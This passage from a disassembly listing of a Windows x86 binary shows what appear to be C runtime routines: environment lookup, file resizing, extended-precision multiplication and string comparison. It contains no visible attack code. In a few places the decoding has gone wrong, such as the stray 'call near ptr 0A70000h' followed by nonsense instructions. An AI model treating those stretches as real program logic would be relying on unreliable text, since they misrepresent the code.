					; sub_41B464+15j ...
		push	edi
		call	sub_41B591
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_41B4D6
; ---------------------------------------------------------------------------


loc_41B4CB:				; CODE XREF: sub_41B464+Cj
		mov	esi, ds:dword_46125C
		mov	eax, offset dword_46125C


loc_41B4D6:				; CODE XREF: sub_41B464+3Cj
					; sub_41B464+49j ...
		cmp	esi, 1
		jnz	short loc_41B4E2
		xor	eax, eax
		jmp	loc_41B58D
; ---------------------------------------------------------------------------


loc_41B4E2:				; CODE XREF: sub_41B464+75j
		test	esi, esi
		jnz	short loc_41B4ED
		push	3
		call	sub_413A28


loc_41B4ED:				; CODE XREF: sub_41B464+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_41B4FF
		cmp	edi, 0Bh
		jz	short loc_41B4FF
		cmp	edi, 4
		jnz	short loc_41B525


loc_41B4FF:				; CODE XREF: sub_41B464+8Fj
					; sub_41B464+94j
		mov	ebx, ds:dword_46103C
		and	ds:dword_46103C, 0
		cmp	edi, ecx
		jnz	short loc_41B554
		mov	edx, ds:dword_42FECC
		mov	ds:dword_42FECC, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_41B528
; ---------------------------------------------------------------------------


loc_41B525:				; CODE XREF: sub_41B464+99j
		mov	ebx, [ebp+arg_0]


loc_41B528:				; CODE XREF: sub_41B464+BFj
		cmp	edi, ecx
		jnz	short loc_41B554
		mov	eax, ds:dword_42FEC0
		mov	ecx, ds:dword_42FEC4
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_41B55B
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:42FE50h[edx*4]


loc_41B549:				; CODE XREF: sub_41B464+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_41B549
		jmp	short loc_41B55B
; ---------------------------------------------------------------------------


loc_41B554:				; CODE XREF: sub_41B464+AAj
					; sub_41B464+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_41B569


loc_41B55B:				; CODE XREF: sub_41B464+D7j
					; sub_41B464+EEj
		push	ds:dword_42FECC
		push	8
		call	esi ; dword_461264
		pop	ecx
		pop	ecx
		jmp	short loc_41B577
; ---------------------------------------------------------------------------


loc_41B569:				; CODE XREF: sub_41B464+F5j
		push	edi
		call	esi ; dword_461264
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_41B577
		cmp	edi, 4
		jnz	short loc_41B58A


loc_41B577:				; CODE XREF: sub_41B464+103j
					; sub_41B464+10Cj
		cmp	edi, 8
		mov	ds:dword_46103C, ebx
		jnz	short loc_41B58A
		mov	eax, [ebp+arg_0]
		mov	ds:dword_42FECC, eax


loc_41B58A:				; CODE XREF: sub_41B464+111j
					; sub_41B464+11Cj
		xor	eax, eax
		pop	ebx


loc_41B58D:				; CODE XREF: sub_41B464+2Cj
					; sub_41B464+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41B464	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41B591	proc near		; CODE XREF: sub_41B464+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, ds:dword_42FEC8
		cmp	ds:dword_42FE4C, edx
		push	esi
		mov	eax, offset dword_42FE48
		jz	short loc_41B5BF
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:42FE48h[esi*4]


loc_41B5B3:				; CODE XREF: sub_41B591+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_41B5BF
		cmp	[eax+4], edx
		jnz	short loc_41B5B3


loc_41B5BF:				; CODE XREF: sub_41B591+16j
					; sub_41B591+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:42FE48h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_41B5D3
		cmp	[eax+4], edx
		jz	short locret_41B5D5


loc_41B5D3:				; CODE XREF: sub_41B591+3Bj
		xor	eax, eax

locret_41B5D5:				; CODE XREF: sub_41B591+40j
		retn
sub_41B591	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B5D6	proc near		; CODE XREF: sub_419FA2+23p

arg_0		= dword	ptr  4

		cmp	ds:dword_4625E8, 0
		push	ebx
		push	esi
		mov	esi, ds:dword_460FB4
		push	edi
		jz	short loc_41B64D
		test	esi, esi
		jnz	short loc_41B607
		cmp	ds:dword_460FBC, esi
		jz	short loc_41B64D
		call	sub_41BA74
		test	eax, eax
		jnz	short loc_41B64D
		mov	esi, ds:dword_460FB4
		test	esi, esi
		jz	short loc_41B64D


loc_41B607:				; CODE XREF: sub_41B5D6+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_41B64D
		push	ebx
		call	sub_411FB0
		pop	ecx
		mov	edi, eax


loc_41B618:				; CODE XREF: sub_41B5D6+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B64D
		push	eax
		call	sub_411FB0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_41B640
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_41B640
		push	edi
		push	ebx
		push	eax
		call	sub_41BA35
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B645


loc_41B640:				; CODE XREF: sub_41B5D6+51j
					; sub_41B5D6+59j
		add	esi, 4
		jmp	short loc_41B618
; ---------------------------------------------------------------------------


loc_41B645:				; CODE XREF: sub_41B5D6+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_41B64F
; ---------------------------------------------------------------------------


loc_41B64D:				; CODE XREF: sub_41B5D6+10j
					; sub_41B5D6+1Cj ...
		xor	eax, eax


loc_41B64F:				; CODE XREF: sub_41B5D6+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41B5D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B653	proc near		; CODE XREF: sub_41A706+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_412030
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, ds:dword_4623A0
		jnb	loc_41B788
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, ds:dword_4622A0[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_41B788
		push	1
		push	esi
		push	ebx
		call	sub_417DF2
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_41B792
		push	2
		push	esi
		push	ebx
		call	sub_417DF2
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_41B792
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41B735
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_4119E0
		push	8000h
		push	ebx
		call	sub_41BAE2
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_41B6E9:				; CODE XREF: sub_41B653+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_41B6F4
		mov	eax, edi


loc_41B6F4:				; CODE XREF: sub_41B653+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_4191D0
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B712
		sub	edi, eax
		test	edi, edi
		jle	short loc_41B728
		jmp	short loc_41B6E9
; ---------------------------------------------------------------------------


loc_41B712:				; CODE XREF: sub_41B653+B5j
		cmp	ds:dword_460F90, 5
		jnz	short loc_41B725
		mov	ds:dword_460F8C, 0Dh


loc_41B725:				; CODE XREF: sub_41B653+C6j
		or	esi, 0FFFFFFFFh


loc_41B728:				; CODE XREF: sub_41B653+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_41BAE2
		pop	ecx
		pop	ecx
		jmp	short loc_41B775
; ---------------------------------------------------------------------------


loc_41B735:				; CODE XREF: sub_41B653+71j
		jge	short loc_41B775
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_417DF2
		push	ebx
		call	sub_41A672
		add	esp, 10h
		push	eax
		call	near ptr 0A70000h
		movsd
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41B775
		mov	ds:dword_460F8C, 0Dh
		call	ds:dword_41D060	; RtlGetLastWin32Error
		mov	ds:dword_460F90, eax


loc_41B775:				; CODE XREF: sub_41B653+E0j
					; sub_41B653:loc_41B735j ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_417DF2
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_41B795
; ---------------------------------------------------------------------------


loc_41B788:				; CODE XREF: sub_41B653+1Aj
					; sub_41B653+36j
		mov	ds:dword_460F8C, 9


loc_41B792:				; CODE XREF: sub_41B653+4Ej
					; sub_41B653+63j
		or	eax, 0FFFFFFFFh


loc_41B795:				; CODE XREF: sub_41B653+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_41B653	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B799	proc near		; CODE XREF: sub_41B1D1+165p
					; sub_41B9B9+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_41B999
		cmp	cx, 7FFFh
		jnb	loc_41B999
		cmp	dx, 0BFFDh
		ja	loc_41B999
		cmp	dx, 3FBFh
		ja	short loc_41B802
		xor	eax, eax
		jmp	short loc_41B83C
; ---------------------------------------------------------------------------


loc_41B802:				; CODE XREF: sub_41B799+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_41B824
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_41B824
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_41B826
		cmp	[esi], eax
		jnz	short loc_41B826
		jmp	loc_41B993
; ---------------------------------------------------------------------------


loc_41B824:				; CODE XREF: sub_41B799+71j
					; sub_41B799+79j
		xor	eax, eax


loc_41B826:				; CODE XREF: sub_41B799+80j
					; sub_41B799+84j
		cmp	cx, ax
		jnz	short loc_41B849
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_41B849
		cmp	[ebx+4], eax
		jnz	short loc_41B849
		cmp	[ebx], eax
		jnz	short loc_41B849


loc_41B83C:				; CODE XREF: sub_41B799+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_41B9B4
; ---------------------------------------------------------------------------


loc_41B849:				; CODE XREF: sub_41B799+90j
					; sub_41B799+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_41B859:				; CODE XREF: sub_41B799+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_41B8AD
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_41B875:				; CODE XREF: sub_41B799+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_41AB5F
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B8A0
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_41B8A0:				; CODE XREF: sub_41B799+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_41B875


loc_41B8AD:				; CODE XREF: sub_41B799+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_41B859
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_41B8F0


loc_41B8CB:				; CODE XREF: sub_41B799+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_41B8E9
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41ABDE
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_41B8CB


loc_41B8E9:				; CODE XREF: sub_41B799+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_41B929


loc_41B8F0:				; CODE XREF: sub_41B799+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_41B929
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_41B909:				; CODE XREF: sub_41B799+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_41B912
		inc	[ebp+var_14]


loc_41B912:				; CODE XREF: sub_41B799+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41AC0C
		dec	ebx
		pop	ecx
		jnz	short loc_41B909
		cmp	[ebp+var_14], 0
		jz	short loc_41B929
		or	byte ptr [ebp+var_24], 1


loc_41B929:				; CODE XREF: sub_41B799+155j
					; sub_41B799+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_41B940
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_41B975


loc_41B940:				; CODE XREF: sub_41B799+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_41B972
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_41B96D
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_41B967
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_41B975
; ---------------------------------------------------------------------------


loc_41B967:				; CODE XREF: sub_41B799+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_41B975
; ---------------------------------------------------------------------------


loc_41B96D:				; CODE XREF: sub_41B799+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_41B975
; ---------------------------------------------------------------------------


loc_41B972:				; CODE XREF: sub_41B799+1ABj
		inc	[ebp+var_24+2]


loc_41B975:				; CODE XREF: sub_41B799+1A5j
					; sub_41B799+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_41B999
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_41B993:				; CODE XREF: sub_41B799+86j
		mov	[esi+0Ah], ax
		jmp	short loc_41B9B4
; ---------------------------------------------------------------------------


loc_41B999:				; CODE XREF: sub_41B799+42j
					; sub_41B799+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_41B9B4:				; CODE XREF: sub_41B799+ABj
					; sub_41B799+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B799	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B9B9	proc near		; CODE XREF: sub_41AD00+440p
					; sub_41B1D1+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_430340
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_41BA32
		jge	short loc_41B9E1
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_4304A0
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_41B9E1:				; CODE XREF: sub_41B9B9+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41B9EC
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_41B9EC:				; CODE XREF: sub_41B9B9+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_41BA32
		push	esi
		push	edi


loc_41B9F3:				; CODE XREF: sub_41B9B9+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_41BA2B
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_41BA1E
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_41BA1E:				; CODE XREF: sub_41B9B9+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_41B799
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_41BA2B:				; CODE XREF: sub_41B9B9+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_41B9F3
		pop	edi
		pop	esi


loc_41BA32:				; CODE XREF: sub_41B9B9+14j
					; sub_41B9B9+36j
		pop	ebx
		leave
		retn
sub_41B9B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BA35	proc near		; CODE XREF: sub_41B5D6+5Ep
					; sub_41BF87+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_41BA42
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41BA42:				; CODE XREF: sub_41BA35+7j
		push	ds:dword_4623A4
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	ds:dword_4625C4
		call	sub_41BB58
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41BA6F
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41BA6F:				; CODE XREF: sub_41BA35+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_41BA35	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BA74	proc near		; CODE XREF: sub_41B5D6+1Ep
					; sub_41BE00+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ds:dword_460FBC
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_41BAD5
		mov	ebx, ds:dword_41D128


loc_41BA8D:				; CODE XREF: sub_41BA74+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx ; dword_41D128
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_41BADD
		push	ebp
		call	sub_41205F
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_41BADD
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx ; dword_41D128
		test	eax, eax
		jz	short loc_41BADD
		push	edi
		push	[esp+18h+var_4]
		call	sub_41BE00
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_41BA8D


loc_41BAD5:				; CODE XREF: sub_41BA74+11j
		xor	eax, eax


loc_41BAD7:				; CODE XREF: sub_41BA74+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41BADD:				; CODE XREF: sub_41BA74+29j
					; sub_41BA74+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_41BAD7
sub_41BA74	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BAE2	proc near		; CODE XREF: sub_41B653+8Bp
					; sub_41B653+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, ds:dword_4623A0
		jnb	short loc_41BB49
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, ds:dword_4622A0[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_41BB49
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_41BB22
		and	cl, 7Fh
		jmp	short loc_41BB2F
; ---------------------------------------------------------------------------


loc_41BB22:				; CODE XREF: sub_41BAE2+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_41BB3D
		or	cl, 80h


loc_41BB2F:				; CODE XREF: sub_41BAE2+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41BB3D:				; CODE XREF: sub_41BAE2+48j
		mov	ds:dword_460F8C, 16h
		jmp	short loc_41BB53
; ---------------------------------------------------------------------------


loc_41BB49:				; CODE XREF: sub_41BAE2+Bj
					; sub_41BAE2+27j
		mov	ds:dword_460F8C, 9


loc_41BB53:				; CODE XREF: sub_41BAE2+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41BAE2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB58	proc near		; CODE XREF: sub_41BA35+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_51840FB8	= byte ptr  51840FC0h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41DC18
		push	offset sub_418F6C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	ds:dword_461274, ebx
		push	1
		pop	edi
		jnz	short loc_41BBCB
		push	edi
		mov	eax, offset dword_41D868
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	ds:dword_41D008	; CompareStringW
		test	eax, eax
		jz	short loc_41BBA8
		mov	ds:dword_461274, edi
		jmp	short loc_41BBCB
; ---------------------------------------------------------------------------


loc_41BBA8:				; CODE XREF: sub_41BB58+46j
		push	edi
		mov	eax, offset dword_430ACC
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	ds:dword_41D00C	; CompareStringA
		test	eax, eax
		jz	loc_41BDC1
		mov	ds:dword_461274, 2


loc_41BBCB:				; CODE XREF: sub_41BB58+31j
					; sub_41BB58+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_41BBE2
		push	esi
		push	[ebp+arg_8]
		call	sub_41BDD5
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_41BBE2:				; CODE XREF: sub_41BB58+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_41BBF7
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_41BDD5
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_41BBF7:				; CODE XREF: sub_41BB58+8Dj
		mov	eax, ds:dword_461274
		cmp	eax, 2
		jnz	short loc_41BC1C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_41D00C	; CompareStringA
		jmp	loc_41BDC3
; ---------------------------------------------------------------------------


loc_41BC1C:				; CODE XREF: sub_41BB58+A7j
		cmp	eax, edi
		jnz	loc_41BDC1
		cmp	[ebp+arg_18], ebx
		jnz	short loc_41BC31
		mov	eax, ds:dword_461028
		mov	[ebp+arg_18], eax


loc_41BC31:				; CODE XREF: sub_41BB58+CFj
		cmp	esi, ebx
		jz	short loc_41BC3E
		cmp	[ebp+arg_14], ebx
		jnz	loc_41BCD6


loc_41BC3E:				; CODE XREF: sub_41BB58+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_41BC4B


loc_41BC43:				; CODE XREF: sub_41BB58+13Cj
					; sub_41BB58+16Dj
		push	2


loc_41BC45:				; CODE XREF: sub_41BB58+146j
		pop	eax
		jmp	loc_41BDC3
; ---------------------------------------------------------------------------


loc_41BC4B:				; CODE XREF: sub_41BB58+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_41BC57


loc_41BC50:				; CODE XREF: sub_41BB58+151j
					; sub_41BB58+159j ...
		mov	eax, edi
		jmp	loc_41BDC3
; ---------------------------------------------------------------------------


loc_41BC57:				; CODE XREF: sub_41BB58+F6j
		cmp	esi, edi
		jg	short loc_41BC9C
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		call	near ptr 0A70000h
		mov	al, [ebp+arg_51840FB8]
		add	[eax], eax
		add	[ebx], bh
		rep jle	short loc_41BCA0
		cmp	[ebp+var_3C], 2
		jb	short loc_41BC9C
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_41BC9C


loc_41BC82:				; CODE XREF: sub_41BB58+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_41BC9C
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_41BC96
		cmp	cl, dl
		jbe	short loc_41BC43


loc_41BC96:				; CODE XREF: sub_41BB58+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41BC82


loc_41BC9C:				; CODE XREF: sub_41BB58+101j
					; sub_41BB58+120j ...
		push	3
		jmp	short loc_41BC45
; ---------------------------------------------------------------------------


loc_41BCA0:				; CODE XREF: sub_41BB58+119j
		cmp	[ebp+arg_14], ebx
		jle	short loc_41BCD6
		cmp	[ebp+var_3C], 2
		jb	short loc_41BC50
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_41BC50


loc_41BCB3:				; CODE XREF: sub_41BB58+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_41BC50
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_41BCCB
		cmp	cl, dl
		jbe	loc_41BC43


loc_41BCCB:				; CODE XREF: sub_41BB58+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41BCB3
		jmp	loc_41BC50
; ---------------------------------------------------------------------------


loc_41BCD6:				; CODE XREF: sub_41BB58+E0j
					; sub_41BB58+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		call	ds:dword_41D12C	; MultiByteToWideChar
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_41BDC1
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_412030
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41BD25
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_41BD25:				; CODE XREF: sub_41BB58+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_41BDC1
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, ds:dword_41D12C
		call	esi ; dword_41D12C
		test	eax, eax
		jz	short loc_41BDC1
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi ; dword_41D12C
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_41BDC1
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_412030
